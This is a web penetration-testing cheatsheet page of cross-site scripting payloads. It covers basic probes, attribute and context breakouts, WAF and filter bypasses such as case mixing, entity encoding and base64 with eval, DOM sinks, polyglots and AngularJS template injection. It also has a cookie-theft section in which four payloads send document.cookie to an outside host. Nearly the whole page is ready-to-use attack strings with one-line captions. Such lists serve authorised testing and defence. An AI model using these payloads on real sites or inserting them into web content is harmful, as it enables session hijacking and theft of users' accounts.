← All Cheatsheets
web-pentest

XSS — Cross-Site Scripting Payloads

Cross-site scripting payloads — basic probes, attribute/context breakout, filter & WAF bypasses, DOM sinks, cookie exfiltration, polyglots and framework (Angular CSTI) injection.

1 views Jun 2026 lazyhackers
Basic Probes (6)
<script>alert(1)</script>
Simplest XSS probe
basic
<script>alert(document.domain)</script>
Confirm the execution origin
basic
"><script>alert(1)</script>
Break out of an attribute, then inject
basic breakout
<img src=x onerror=alert(1)>
No <script> needed — image error handler
basic img
<svg onload=alert(1)>
SVG onload — short and reliable
basic svg
<body onload=alert(1)>
Body load handler
basic
Attribute & Context Breakout (5)
" onmouseover="alert(1)
Inject an event handler inside an attribute
breakout event
'><svg/onload=alert(1)>
Break a single-quote attribute, then SVG
breakout svg
" autofocus onfocus=alert(1) x="
Auto-trigger via autofocus + onfocus
breakout autofocus
</textarea><script>alert(1)</script>
Escape a <textarea> context
breakout
';alert(1)//
Break out of an inline JS string context
breakout js
Filter / WAF Bypass (6)
<svG OnLoaD=alert(1)>
Mixed case to dodge tag/attribute filters
waf case
<img src=x onerror="alert`1`">
Backticks instead of parentheses
waf noparen
<svg onload=alert&#40;1&#41;>
HTML-entity-encoded parentheses
waf entity
<scr<script>ipt>alert(1)</scr</script>ipt>
Nested tags survive naive tag stripping
waf nested
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
Base64 payload via atob + eval
waf base64
<iframe src=javascript:alert(1)>
javascript: URI inside an iframe
waf iframe
DOM-Based Sinks (4)
#<img src=x onerror=alert(1)>
location.hash flowing into innerHTML
dom hash
javascript:alert(document.cookie)
href / location assignment sink
dom uri
<a href="javascript:alert(1)">x</a>
User-triggered DOM execution
dom href
"><img src=x onerror=alert(1)>
Reflected into a DOM sink after breakout
dom
Cookie Theft / Exfiltration (4)
<script>new Image().src='http://10.10.14.1/?c='+document.cookie</script>
Exfil cookies via an image request
exfil cookie
<script>fetch('http://10.10.14.1/?c='+document.cookie)</script>
Exfil via fetch
exfil cookie
<script>navigator.sendBeacon('http://10.10.14.1',document.cookie)</script>
Beacon exfil (fires even on unload)
exfil beacon
<img src=x onerror="this.src='http://10.10.14.1/?'+document.cookie">
Cookie exfil without a <script> tag
exfil img
Polyglots & Framework Injection (4)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtArEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>
0xsobky all-context XSS polyglot
polyglot
{{constructor.constructor('alert(1)')()}}
AngularJS client-side template injection
angular csti
{{$on.constructor('alert(1)')()}}
AngularJS CSTI variant
angular csti
<x contenteditable onbeforeinput=alert(1)>
Newer event handler (filter gaps)
event modern